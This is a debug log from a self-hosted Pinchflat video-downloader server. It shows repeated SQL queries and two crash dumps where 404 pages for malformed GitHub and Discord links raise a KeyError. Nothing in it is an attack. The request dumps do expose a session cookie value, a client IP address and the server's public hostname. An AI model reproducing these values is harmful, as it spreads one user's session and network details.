WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:18:50.177 [info] Sent 200 in 103ms 20:18:50.179 [debug] QUERY OK source="media_items" db=6.4ms queue=0.5ms idle=18.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:18:50.179 [debug] QUERY OK source="sources" db=37.9ms queue=11.6ms idle=17.6ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 20:18:50.194 [debug] QUERY OK source="sources" db=6.2ms queue=2.2ms idle=29.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 20:18:50.201 [info] Sent 200 in 158ms 20:18:50.233 [info] Sent 200 in 189ms 20:18:50.884 [info] GET /https%3A/github.com/kieraneglin/pinchflat/wiki 20:18:50.884 [info] GET /https%3A/discord.gg/j7T6dCuwU4 20:18:50.886 [debug] QUERY OK source="settings" db=1.0ms queue=0.5ms idle=722.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.890 [debug] QUERY OK source="settings" db=3.1ms idle=708.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.890 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:18:50.890 [debug] QUERY OK source="settings" db=4.3ms queue=0.1ms idle=715.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.894 [debug] QUERY OK source="settings" db=3.3ms idle=711.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.894 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:18:50.905 [info] GET /app_info 20:18:50.907 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 20:18:50.908 [info] GET /https%3A/github.com/kieraneglin/pinchflat/releases 20:18:50.891 [error] #PID<0.11090.0> running PinchflatWeb.Endpoint (connection #PID<0.11077.0>, stream id 4) terminated Server: rutube.spluft.ru:80 (http) Request: GET /https%3A/github.com/kieraneglin/pinchflat/wiki ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/github.com/kieraneglin/pinchflat/wiki (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/wiki", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 57813}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11090.0>, params: %{}, path_info: ["https%3A", "github.com", "kieraneglin", "pinchflat", "wiki"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.120"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/https%3A/github.com/kieraneglin/pinchflat/wiki", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-bqWoUm54N_m0AAKZj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/wiki", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 57813}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/github.com/kieraneglin/pinchflat/wiki (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/wiki", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 57813}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbX (truncated) 20:18:50.912 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=716.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.895 [error] #PID<0.11089.0> running PinchflatWeb.Endpoint (connection #PID<0.11079.0>, stream id 2) terminated Server: rutube.spluft.ru:80 (http) Request: GET /https%3A/discord.gg/j7T6dCuwU4 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/discord.gg/j7T6dCuwU4 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11079.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/discord.gg/j7T6dCuwU4", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 56849}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11089.0>, params: %{}, path_info: ["https%3A", "discord.gg", "j7T6dCuwU4"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.120"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/https%3A/discord.gg/j7T6dCuwU4", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-bqWoUt3hyYnUAADek"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11079.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/discord.gg/j7T6dCuwU4", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 56849}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/discord.gg/j7T6dCuwU4 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11079.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/discord.gg/j7T6dCuwU4", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 56849}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\ (truncated) 20:18:50.913 [info] GET /https%3A/github.com/kieraneglin/pinchflat 20:18:50.914 [info] GET /%23 20:18:50.915 [debug] QUERY OK source="settings" db=1.2ms queue=0.3ms idle=23.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.915 [debug] QUERY OK source="settings" db=1.9ms idle=27.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.918 [debug] QUERY OK source="settings" db=3.9ms idle=24.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.920 [debug] QUERY OK source="settings" db=3.7ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.921 [debug] QUERY OK source="settings" db=5.3ms queue=0.3ms idle=21.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.921 [debug] QUERY OK source="settings" db=2.4ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.925 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:18:50.925 [debug] QUERY OK source="settings" db=8.1ms queue=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.926 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:18:50.926 [debug] QUERY OK source="settings" db=2.5ms queue=0.1ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", 